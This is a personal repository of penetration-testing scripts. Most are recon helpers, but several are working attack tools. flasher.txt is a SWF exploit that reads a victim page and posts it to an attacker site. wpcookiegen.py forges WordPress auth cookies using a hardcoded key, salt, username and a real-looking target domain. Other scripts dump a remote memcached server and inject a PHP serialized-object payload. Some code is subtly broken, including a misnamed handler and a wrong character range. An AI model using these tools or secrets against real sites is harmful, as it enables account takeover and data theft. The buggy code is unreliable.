├── .gitignore ├── .vimrc ├── LICENSE ├── README.md ├── cve_cvss_scores.rb ├── divisible.rb ├── drupal_module_versions.rb ├── file-checker.rb ├── flasher.txt ├── http_header_grep.rb ├── ips.rb ├── magento_version.rb ├── memcached_client.rb ├── multi_ssl_scan.rb ├── nodesec_severity.rb ├── send_url_list_through_proxy.rb ├── url-checker.rb ├── wp_php_object_injection.rb └── wpcookiegen.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.gem 2 | *.rbc 3 | .bundle 4 | .config 5 | coverage 6 | InstalledFiles 7 | lib/bundler/man 8 | pkg 9 | rdoc 10 | spec/reports 11 | test/tmp 12 | test/version_tmp 13 | tmp 14 | 15 | # YARD artifacts 16 | .yardoc 17 | _yardoc 18 | doc/ 19 | -------------------------------------------------------------------------------- /.vimrc: -------------------------------------------------------------------------------- 1 | # 2 | # My vim config 3 | # 4 | filetype plugin indent on 5 | setlocal shiftwidth=2 6 | setlocal tabstop=2 7 | syntax on 8 | set encoding=utf-8 9 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | my-scripts 2 | ========== 3 | 4 | Code snippets I find useful 5 | -------------------------------------------------------------------------------- /cve_cvss_scores.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # gem install typhoeus 4 | # gem install nokogiri 5 | 6 | require 'typhoeus' 7 | require 'nokogiri' 8 | 9 | nist_url = 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=' 10 | cve_hash = {} 11 | cve_output = '' 12 | 13 | 14 | cves = File.open('cves.txt').read 15 | 16 | cves.gsub!(/\r\n?/, "\n") # normalize EOL chars 17 | 18 | cves.split("\n").each do |cve| 19 | puts "Getting CVSS for #{cve}..." 20 | doc = Nokogiri::HTML(Typhoeus.get("#{nist_url}#{cve}").body) 21 | cvss_links = doc.css('#BodyPlaceHolder_cplPageContent_plcZones_lt_zoneCenter_VulnerabilityDetail_VulnFormView_VulnCvssPanel .row a') 22 | 23 | cve_hash[cve] = cvss_links[0].text 24 | end 25 | 26 | puts 27 | puts 28 | 29 | cve_hash = Hash[cve_hash.sort_by{|k, v| v}.reverse] 30 | 31 | cve_hash.each_pair do |cve, score| 32 | cve_output << "#{cve} (CVSS:#{score}), " 33 | end 34 | 35 | puts cve_output 36 | -------------------------------------------------------------------------------- /divisible.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # 4 | # Works out what the input integer is divisible by, useful for padbuster. 5 | # 6 | 7 | @input = ARGV[0] 8 | 9 | def divisible?(i) 10 | (@input.to_i % i).zero? 11 | end 12 | 13 | (2...@input.to_i).each_with_index do |i| 14 | puts "#{@input} is divisible by #{i}" if divisible?(i) 15 | end 16 | -------------------------------------------------------------------------------- /drupal_module_versions.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # 4 | # Obtains the latest version number from a list of Drupal modules. 5 | # Useful when you want to figure out if drupal modules are outdates or not. 6 | # 7 | 8 | require 'typhoeus' 9 | require 'nokogiri' 10 | 11 | modules = File.open(ARGV.join).read.split("\n") 12 | module_url = 'https://www.drupal.org/project/' 13 | 14 | modules.each do |drupal_module| 15 | response = Typhoeus.get(module_url + drupal_module) 16 | doc = Nokogiri::HTML(response.body) 17 | 18 | latest_version = doc.css('.views-field-field-release-version a')[0].text 19 | 20 | puts "#{drupal_module} #{latest_version}" 21 | end 22 | 23 | -------------------------------------------------------------------------------- /file-checker.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # 4 | # This script takes a filename or directory as an argument as well as a list of URLs. 5 | # It will check every URL for that filename/directory and output the status code. 6 | # Useful if you want to check, phpinfo.php exists on multiple domains for example. 7 | # Example: ruby file-checker.rb filename urls.txt 8 | # 9 | # By: Ryan Dewhurst 10 | # 11 | # 12 | 13 | require 'typhoeus' 14 | require 'uri' 15 | 16 | if ARGV[0].nil? 17 | puts "Usage: filename urls.txt" 18 | exit 19 | end 20 | 21 | filename = ARGV[0] 22 | urls = File.read(ARGV[1]).split("\n") 23 | 24 | urls.each do |url| 25 | url = URI.parse(URI.encode(url)).merge(filename) 26 | 27 | response = Typhoeus.get( url.to_s, 28 | :ssl_verifyhost => 0, 29 | :ssl_verifypeer => false, 30 | :followlocation => true, 31 | :headers => {'User-Agent' => 'Mozilla'}, 32 | :timeout => 1000 ) 33 | 34 | puts "#{url} #{response.code}" 35 | end 36 | 37 | exit 38 | -------------------------------------------------------------------------------- /flasher.txt: -------------------------------------------------------------------------------- 1 | // crossdomain.xml file exploitation SWF file from http://paladion.net/weak-crossdomain-xml-and-its-exploitation-poc/ 2 | 3 | package { 4 | import flash.display.Sprite; 5 | import flash.events.*; 6 | import flash.net.URLRequestMethod; 7 | import flash.net.URLRequest; 8 | import flash.net.URLLoader; 9 | 10 | public class flasher extends Sprite { 11 | var readFrom:String = ""; // The target (victim) URL. 12 | var readRequest:URLRequest = new URLRequest(readFrom); 13 | var getLoader:URLLoader = new URLLoader(); 14 | getLoader.addEventListener(Event.COMPLETE, eventHandler); 15 | try 16 | { 17 | getLoader.load(readRequest); 18 | } 19 | catch (error:Error) 20 | { 21 | } 22 | } 23 | 24 | private function eventHandelr(event:Event):void 25 | { 26 | var sendTo:String = "" // Attacker site, where data will be sent. 27 | var sendRequest:URLRequest = new URLRequest(sendTo); 28 | sendRequest.method = URLRequestMethod.POST; 29 | sendRequest.data = event.target.data; 30 | var sendLoader:URLLoader = new URLLoader(); 31 | try 32 | { 33 | sendLoader.load(sendRequest); 34 | } 35 | catch (error:Error) 36 | { 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /http_header_grep.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # 4 | # Script that runs a regular expression against the response headers of a list of URLs. 5 | # Useful for checking if a list of URLs have HSTS, the Server content, etc 6 | # 7 | 8 | require 'typhoeus' 9 | require 'uri' 10 | 11 | if ARGV[0].nil? 12 | puts "Usage: ruby #{__FILE__} \"regex\" urls.txt" 13 | exit 14 | end 15 | 16 | regex = ARGV[0] 17 | urls = File.read(ARGV[1]).split("\n") 18 | 19 | urls.each_with_index do |url, index| 20 | url = URI.parse(URI.encode(url)) 21 | 22 | response = Typhoeus.get( url.to_s, 23 | ssl_verifyhost: 0, 24 | ssl_verifypeer: false, 25 | followlocation: true, 26 | headers: {'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0'}, 27 | timeout: 1000 ) 28 | 29 | matches = response.response_headers.scan(Regexp.new(regex, true)) 30 | 31 | puts 32 | puts "[#{index}] #{url}" 33 | matches.each { |match| puts match } 34 | end 35 | 36 | exit 37 | -------------------------------------------------------------------------------- /ips.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # 4 | # Lists IPs in a CIDR range. 5 | # 6 | 7 | require 'ipaddress' 8 | 9 | ips = IPAddress.parse '' 10 | 11 | ips.each do |ip| 12 | puts ip 13 | end 14 | 15 | -------------------------------------------------------------------------------- /magento_version.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'typhoeus' 4 | require 'json' 5 | require 'uri' 6 | require 'digest/md5' 7 | 8 | # https://raw.githubusercontent.com/gwillem/magento-version-identification/master/version_hashes.json 9 | 10 | target = ARGV[0] 11 | hashes = JSON.parse(File.open('version_hashes.json').read) 12 | hydra = Typhoeus::Hydra.hydra 13 | 14 | hashes.each do |hash| 15 | file = hash[0] 16 | url = URI.join(target, file).to_s 17 | request = Typhoeus::Request.new(url, followlocation: true) 18 | hashes = hash[1].keys 19 | 20 | hydra.queue(request) 21 | 22 | request.on_complete do |response| 23 | if response.success? 24 | response_hash = Digest::MD5.hexdigest(response.body) 25 | 26 | if hash[1].keys.include? response_hash 27 | puts "[+] Magento version detected as #{hash[1][response_hash]} from #{url} using hash #{response_hash}" 28 | end 29 | elsif response.timed_out? 30 | # aw hell no 31 | elsif response.code == 0 32 | # Could not get an http response, something's wrong. 33 | else 34 | # Received a non-successful http response. 35 | end 36 | end 37 | end 38 | 39 | hydra.run 40 | -------------------------------------------------------------------------------- /memcached_client.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # gem install dalli -> https://github.com/mperham/dalli 4 | 5 | require 'dalli' 6 | require 'net/telnet' 7 | 8 | @server = 'remote_server_ip' 9 | @port = '11211' 10 | @serverport = "#{@server}:#{@port}" 11 | 12 | begin 13 | @dc = Dalli::Client.new(@serverport, compress: true, socket_timeout: 5) 14 | rescue Dalli::NetworkError 15 | puts "[!] Couldn't connect to remote host #{serverport}" 16 | exit 17 | end 18 | 19 | # 20 | # Extract the slabs from the items stats. 21 | # Returns a unique array of slabs. 22 | # 23 | def slabs 24 | slabs = [] 25 | 26 | @dc.stats(:items)[@serverport].each_pair do |key, value| 27 | slabs << key.match(/^items:(\d*):/)[1] 28 | end 29 | 30 | slabs = slabs.uniq - [""] 31 | 32 | puts 33 | puts "[*] Identified #{slabs.size} slabs..." 34 | 35 | slabs 36 | end 37 | 38 | # 39 | # Extract the keys using stats cachedump: 40 | # http://www.darkcoding.net/software/memcached-list-all-keys/ 41 | # https://gist.github.com/bkimble/1365005 42 | # Returns an array of keys. 43 | # 44 | def keys(slabs) 45 | keys = [] 46 | 47 | telnet = Net::Telnet::new('Host' => @server, 48 | 'Port' => @port, 49 | 'Timeout' => 15, 50 | 'Telnetmode' => false, 51 | 'Waittime' => 5) 52 | 53 | slabs.each do |slab| 54 | sleep 0.5 # don't want to flood the server 55 | 56 | begin 57 | telnet.cmd('String' => "stats cachedump #{slab} 100", 'Match' => /^END/) { |output| keys << output.scan(/^ITEM\s([\w-]*)\s/) } 58 | rescue => e 59 | puts "[!] Something is wrong when getting slabs #{e}" 60 | next 61 | end 62 | end 63 | 64 | telnet.close 65 | 66 | keys = keys.flatten.uniq 67 | puts "[*] Identified #{keys.size} keys..." 68 | 69 | keys 70 | end 71 | 72 | # 73 | # Use the key name to grab the key value 74 | # 75 | def values(found_slabs) 76 | keys(found_slabs).each do |key| 77 | begin 78 | puts "[*] Getting value for #{key} key..." 79 | value = @dc.get(key) 80 | puts value if value 81 | rescue => e 82 | # puts "[!] Something went wrong #{e}" 83 | next 84 | end 85 | end 86 | end 87 | 88 | # 89 | # Dumps the memcached stats 90 | # 91 | def stats 92 | @dc.stats[@serverport].each_pair do |key, value| 93 | puts "[*] #{key}: #{value}" 94 | end 95 | end 96 | 97 | # 98 | # Main 99 | # 100 | if @dc.alive! 101 | puts "[+] Connected to #{@serverport}" 102 | 103 | puts 104 | puts '[+] Remote memcached stats:' 105 | puts 106 | 107 | stats 108 | 109 | found_slabs = slabs 110 | 111 | unless found_slabs.empty? 112 | puts 113 | puts '[+] Remote memcached key values:' 114 | puts 115 | 116 | values(found_slabs) 117 | else 118 | puts 119 | puts '[!] No slabs found.' 120 | end 121 | 122 | @dc.close 123 | end 124 | -------------------------------------------------------------------------------- /multi_ssl_scan.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | 4 | if ARGV[0].nil? 5 | puts "Usage: ruby #{__FILE__} domains.txt" 6 | exit 7 | end 8 | 9 | domains = File.read(ARGV[0]).split("\n") 10 | 11 | domains.each_with_index do |domain, index| 12 | p domain 13 | `java -jar /Users/ryan/Tools/ssl/TestSSLServer.jar #{domain} >> /Users/ryan/Desktop/ssl/#{domain}.txt` 14 | end 15 | 16 | exit 17 | -------------------------------------------------------------------------------- /nodesec_severity.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'typhoeus' 4 | require 'uri' 5 | require 'nokogiri' 6 | 7 | url = 'https://nodesecurity.io/advisories/' 8 | ids = ARGV[0].split(',') 9 | cvsses = {} 10 | 11 | ids.each do |id| 12 | new_url = URI.parse(url).merge(id) 13 | 14 | response = Typhoeus.get( new_url.to_s, 15 | :ssl_verifyhost => 0, 16 | :ssl_verifypeer => false, 17 | :followlocation => true, 18 | :headers => {'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'}, 19 | :timeout => 1000 ) 20 | 21 | cvsses[new_url] = Nokogiri::HTML(response.body).css('.cvss-score').text 22 | end 23 | 24 | cvsses.sort_by {|_key, value| value}.reverse.each do |key, value| 25 | p "#{key} CVSS:#{value}" 26 | end 27 | 28 | exit 29 | -------------------------------------------------------------------------------- /send_url_list_through_proxy.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # 4 | # Requests a list of URLs through a proxy. 5 | # 6 | 7 | require 'typhoeus' 8 | 9 | urls = File.open(ARGV.join).read.split("\n") 10 | proxy = 'http://127.0.0.1:8080' 11 | 12 | 13 | urls.each_with_index do |url, index| 14 | response = Typhoeus.get(url, proxy: proxy, followlocation: true) 15 | puts "#{index} - #{url} [#{response.code}]" 16 | end 17 | -------------------------------------------------------------------------------- /url-checker.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # 4 | # Takes a list of URLs and sees which respond or not, useful for scoping large list of URLs. 5 | # 6 | 7 | require 'typhoeus' 8 | 9 | url_list = ARGV[0] 10 | @ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0" 11 | @good_sites = [] 12 | @bad_sites = [] 13 | @timeouts = [] 14 | 15 | def add_http_scheme(url) 16 | url =~ /^https?/ ? url : "http://#{url}" 17 | end 18 | 19 | def add_https_scheme(url) 20 | url =~ /^https?/ ? url : "https://#{url}" 21 | end 22 | 23 | def request(url) 24 | Typhoeus::Request.get(url, 25 | :ssl_verifyhost => 0, 26 | :ssl_verifypeer => false, 27 | :followlocation => true, 28 | :headers => {'User-Agent' => @ua}, 29 | :timeout => 1) 30 | end 31 | 32 | if File.exists?(url_list) 33 | file = File.open(url_list) 34 | else 35 | puts "ERROR: File #{url_list} does not exist!" 36 | exit 37 | end 38 | 39 | file.each_line do |url| 40 | url = url.chop 41 | 42 | http_url = add_http_scheme(url) 43 | https_url = add_https_scheme(url) 44 | 45 | http_response = request(http_url) 46 | https_response = request(https_url) 47 | 48 | puts "Checking: #{http_url} [#{http_response.code}]" 49 | puts "Checking: #{https_url} [#{https_response.code}]" 50 | 51 | # HTTP 52 | if http_response.code == 200 53 | @good_sites << http_url 54 | elsif http_response.timed_out? 55 | @timeouts << http_url 56 | @bad_sites << http_url 57 | else 58 | @bad_sites << http_url 59 | end 60 | 61 | # HTTPS 62 | if https_response.code == 200 63 | @good_sites << https_url 64 | elsif https_response.timed_out? 65 | @timeouts << https_url 66 | @bad_sites << https_url 67 | else 68 | @bad_sites << https_url 69 | end 70 | end 71 | 72 | puts 73 | puts "| There were #{@good_sites.length} sites that responded with a 200 code:" 74 | puts 75 | @good_sites.each do |site| 76 | puts site 77 | end 78 | 79 | puts 80 | puts "| There were #{@timeouts.length} sites that timedout:" 81 | puts 82 | @timeouts.each do |site| 83 | puts site 84 | end 85 | 86 | puts 87 | puts "| There were #{@bad_sites.length} sites that timedout or returned a response other than 200:" 88 | puts 89 | @bad_sites.each do |site| 90 | puts site 91 | end 92 | 93 | -------------------------------------------------------------------------------- /wp_php_object_injection.rb: -------------------------------------------------------------------------------- 1 | java_import 'burp.IBurpExtender' 2 | java_import 'burp.IScannerCheck' 3 | java_import 'burp.IScanIssue' 4 | 5 | require 'java' 6 | java_import 'java.util.Arrays' 7 | java_import 'java.util.ArrayList' 8 | 9 | # 10 | # You will need to download JRuby's Complete.jar file from http://jruby.org/download and configure Burp Extender with its path. 11 | # You will also need to install the WordPress PHP Object Injection WordPress Plugin created by White Fir Design. 12 | # Tip: Remove "PHP object injection has occurred." from the WordPress PHP Object Injection WordPress Plugin's description to not cause a false positive. 13 | # 14 | # Inspiration/idea and WordPress Plugin from https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/ 15 | # Burp Extension code from https://raw.githubusercontent.com/PortSwigger/example-scanner-checks/master/ruby/CustomScannerChecks.rb 16 | # 17 | 18 | GREP_STRING = 'PHP object injection has occurred.' 19 | GREP_STRING_BYTES = GREP_STRING.bytes.to_a 20 | INJ_TEST = 'O:20:"PHP_Object_Injection":0:{}'.bytes.to_a 21 | INJ_ERROR = 'PHP object injection has occurred.' 22 | INJ_ERROR_BYTES = INJ_ERROR.bytes.to_a 23 | 24 | class BurpExtender 25 | include IBurpExtender, IScannerCheck 26 | 27 | # 28 | # implement IBurpExtender 29 | # 30 | 31 | def registerExtenderCallbacks(callbacks) 32 | # keep a reference to our callbacks object 33 | @callbacks = callbacks 34 | 35 | # obtain an extension helpers object 36 | @helpers = callbacks.getHelpers 37 | 38 | # set our extension name 39 | callbacks.setExtensionName 'WordPress PHP Object Injection Check' 40 | 41 | # register ourselves as a custom scanner check 42 | callbacks.registerScannerCheck self 43 | end 44 | 45 | # helper method to search a response for occurrences of a literal match string 46 | # and return a list of start/end offsets 47 | 48 | def _get_matches(response, match) 49 | matches = ArrayList.new 50 | start = 0 51 | while start < response.length 52 | start = @helpers.indexOf(response, match, true, start, response.length) 53 | break if start == -1 54 | matches.add [start, start + match.length].to_java :int 55 | start += match.length 56 | end 57 | 58 | return matches 59 | end 60 | 61 | # 62 | # implement IScannerCheck 63 | # 64 | 65 | def doPassiveScan(baseRequestResponse) 66 | # look for matches of our passive check grep string 67 | matches = self._get_matches(baseRequestResponse.getResponse, GREP_STRING_BYTES) 68 | return nil if matches.length == 0 69 | 70 | # report the issue 71 | issues = ArrayList.new 72 | issues.add CustomScanIssue.new( 73 | baseRequestResponse.getHttpService, 74 | @helpers.analyzeRequest(baseRequestResponse).getUrl, 75 | [@callbacks.applyMarkers(baseRequestResponse, nil, matches)], 76 | 'WordPress PHP Object Injection', 77 | 'Submitting the serialized string O:20:"PHP_Object_Injection":0:{} returned: ' + GREP_STRING, 78 | 'High').to_java IScanIssue 79 | 80 | return issues 81 | end 82 | 83 | def doActiveScan(baseRequestResponse, insertionPoint) 84 | # make a request containing our injection test in the insertion point 85 | checkRequest = insertionPoint.buildRequest INJ_TEST 86 | checkRequestResponse = @callbacks.makeHttpRequest( 87 | baseRequestResponse.getHttpService, checkRequest) 88 | 89 | # look for matches of our active check grep string 90 | matches = self._get_matches(checkRequestResponse.getResponse, INJ_ERROR_BYTES) 91 | return nil if matches.length == 0 92 | 93 | # get the offsets of the payload within the request, for in-UI highlighting 94 | requestHighlights = [insertionPoint.getPayloadOffsets(INJ_TEST)] 95 | 96 | # report the issue 97 | issues = ArrayList.new 98 | issues.add CustomScanIssue.new( 99 | baseRequestResponse.getHttpService, 100 | @helpers.analyzeRequest(baseRequestResponse).getUrl, 101 | [@callbacks.applyMarkers(checkRequestResponse, requestHighlights, matches)], 102 | 'WordPress PHP Object Injection', 103 | 'Submitting the serialized string O:20:"PHP_Object_Injection":0:{} returned: ' + INJ_ERROR, 104 | 'High').to_java IScanIssue 105 | 106 | return issues 107 | end 108 | 109 | def consolidateDuplicateIssues(existingIssue, newIssue) 110 | # This method is called when multiple issues are reported for the same URL 111 | # path by the same extension-provided check. The value we return from this 112 | # method determines how/whether Burp consolidates the multiple issues 113 | # to prevent duplication 114 | # 115 | # Since the issue name is sufficient to identify our issues as different, 116 | # if both issues have the same name, only report the existing issue 117 | # otherwise report both issues 118 | if existingIssue.getIssueName == newIssue.getIssueName 119 | return -1 120 | else 121 | return 0 122 | end 123 | end 124 | end 125 | 126 | # 127 | # class implementing IScanIssue to hold our custom scan issue details 128 | # 129 | class CustomScanIssue 130 | include IScanIssue 131 | 132 | def initialize(httpService, url, httpMessages, name, detail, severity) 133 | @httpService = httpService 134 | @url = url 135 | @httpMessages = httpMessages 136 | @name = name 137 | @detail = detail 138 | @severity = severity 139 | end 140 | 141 | def getUrl() 142 | @url 143 | end 144 | 145 | def getIssueName() 146 | @name 147 | end 148 | 149 | def getIssueType() 150 | 0 151 | end 152 | 153 | def getSeverity() 154 | @severity 155 | end 156 | 157 | def getConfidence() 158 | 'Certain' 159 | end 160 | 161 | def getIssueBackground() 162 | nil 163 | end 164 | 165 | def getRemediationBackground() 166 | nil 167 | end 168 | 169 | def getIssueDetail() 170 | @detail 171 | end 172 | 173 | def getRemediationDetail() 174 | nil 175 | end 176 | 177 | def getHttpMessages() 178 | @httpMessages 179 | end 180 | 181 | def getHttpService() 182 | @httpService 183 | end 184 | end 185 | -------------------------------------------------------------------------------- /wpcookiegen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | ############################################################################## 4 | # Title: WordPress Auth Cookie Generator Demo 5 | # Author: Mike Czumak (T_v3rn1x) - @SecuritySift - securitysift.com 6 | # Purpose: Generates WP auth cookies (requires valid Secret Key and Salt) 7 | # License: You may modify and/or distribute freely, as long as it is not 8 | # used maliciously or incorporated into any commercial product 9 | ############################################################################## 10 | 11 | import hmac, hashlib, string, sys, getopt 12 | 13 | # generate an md5 hash with salt in same manner as WP 14 | def wp_hash(data, key, salt): 15 | wpsalt = key + salt 16 | hash = hmac.new(wpsalt, data, hashlib.md5).hexdigest() 17 | return hash 18 | 19 | # generate array of all 4 character password frags given a range of 20 | # upper and lower case letters numbers 0-9, slash (/) and period (.) 21 | def gen_pass_frag(): 22 | 23 | lowerletters = list(map(chr, range(ord('a'), ord('Z')+1))) 24 | upperletters = list(map(chr, range(ord('A'), ord('Z')+1))) 25 | numbers = list(map(chr, range(ord('0'), ord('9')+1))) 26 | specchars = ['/', '.']; 27 | allchars = lowerletters + upperletters + numbers + specchars 28 | frags = ''; # hold concatenated list of all 4-char frag combos 29 | count = 0; # loop counter 30 | 31 | #generate all possible 4-character combinations for $pass_frag 32 | for f1 in allchars: 33 | for f2 in allchars: 34 | for f3 in allchars: 35 | for f4 in allchars: 36 | frags += f1+f2+f3+f4+','; 37 | count += 1; 38 | 39 | frags = frags.rstrip(',') # remove trailing comma 40 | frag_array = frags.split(','); # split list into an array for iteration 41 | 42 | return frag_array 43 | 44 | # generate all possible cookies for a given user 45 | def gen_cookies(username, expiration, pass_frag, key, salt, target): 46 | frag_array = [] 47 | #scheme = 'auth' # default auth scheme for wp 48 | scheme = 'secure_auth' 49 | 50 | # generate password frag combinations or use single frag passed as arg 51 | if pass_frag == '': 52 | frag_array = gen_pass_frag() 53 | else: 54 | frag_array = [pass_frag] 55 | 56 | cookie_id = 'wordpress_' + hashlib.md5(target).hexdigest() + '=' 57 | allcookies = '' # string to hold all generated cookies 58 | i = 0 # loop counter 59 | 60 | # loop through each generated pass frag and build key/hash/cookie 61 | for frag in frag_array: 62 | hashkey = wp_hash(username + frag + '|' + expiration, key, salt) 63 | hash = hmac.new(hashkey, username + '|' + expiration, hashlib.md5).hexdigest() 64 | cookie = str(i) + ':' + frag + ':' + cookie_id + username + '%7C' + expiration + '%7C' + hash + '\n' 65 | allcookies += cookie 66 | i+=1 67 | 68 | print ('\n[+] Cookie gen complete. ' + str(i) + ' cookie(s) created.'); 69 | 70 | if i == 1: 71 | print '[+] Cookie: ' + allcookies.split(':')[2] 72 | else: 73 | # write cookies to file 74 | filename = cookie_id.split('_')[1].split('=')[0] + '_' + username + '_cookies.txt' 75 | f = open(filename, 'w') 76 | f.write(allcookies) 77 | f.close(); 78 | print ('[+] Cookies written to file [' + filename + ']\n') 79 | 80 | 81 | def main(argv): 82 | username = 'clubmaster' # default username 83 | pass_frag = '' # default is to generate pass frags 84 | expiration = '1577836800' # default expiration date (1/1/2020) 85 | key = '}nQu1A@UGy?mlT.{l9g}rc3xxC:2$,/KL_%[XZUJPl,)(C[U{Cs_?Nz;3]F~BYB@' 86 | salt = '!EurE[[1[^m3d(e} B#g5+oYSUFi:CL]7,jR{9W;zc%[7?[UfwU*G.;z!,+ygSKq' 87 | target = 'https://www.arsenaldoubleclub.co.uk' 88 | 89 | print "\nWordPress Auth Cookie Generator" 90 | print "Author: Mike Czumak (T_v3rn1x) - @SecuritySift - securitysift.com" 91 | print "Purpose: Generates WP auth cookies (requires valid Secret Key and Salt)" 92 | 93 | usage = '''\nUsage: wpcookiegen.py\n\nOptions: 94 | -u (default is admin) 95 | -f (default/blank will generate all combos) 96 | -e (unix_date_stamp: default is 1/1/2020) 97 | -k (default is DisclosedKey) 98 | -s (default is DisclosedSalt) 99 | -t (default is http://localhost/wordpress)\n\nNotes: 100 | You can parse the cookie list directly in Burp with the following regex: 101 | ^[0-9]*:[0-9a-zA-z\.\/]{4}:\n''' 102 | 103 | try: 104 | opts, args = getopt.getopt(argv,'hu:f:e:s:') 105 | except getopt.GetoptError: 106 | print usage 107 | sys.exit(2) 108 | 109 | for opt, arg in opts: 110 | if opt == '-h': 111 | print usage 112 | sys.exit() 113 | elif opt == '-u': 114 | username = arg 115 | elif opt == '-f': 116 | pass_frag = arg 117 | elif opt == '-e': 118 | expiration = arg 119 | elif opt =='-s': 120 | salt = arg 121 | elif opt == 'k': 122 | key = arg 123 | elif opt == 't': 124 | target == arg 125 | 126 | gen_cookies(username,expiration,pass_frag, key, salt, target) 127 | 128 | if __name__ == '__main__': 129 | main(sys.argv[1:]) 130 | --------------------------------------------------------------------------------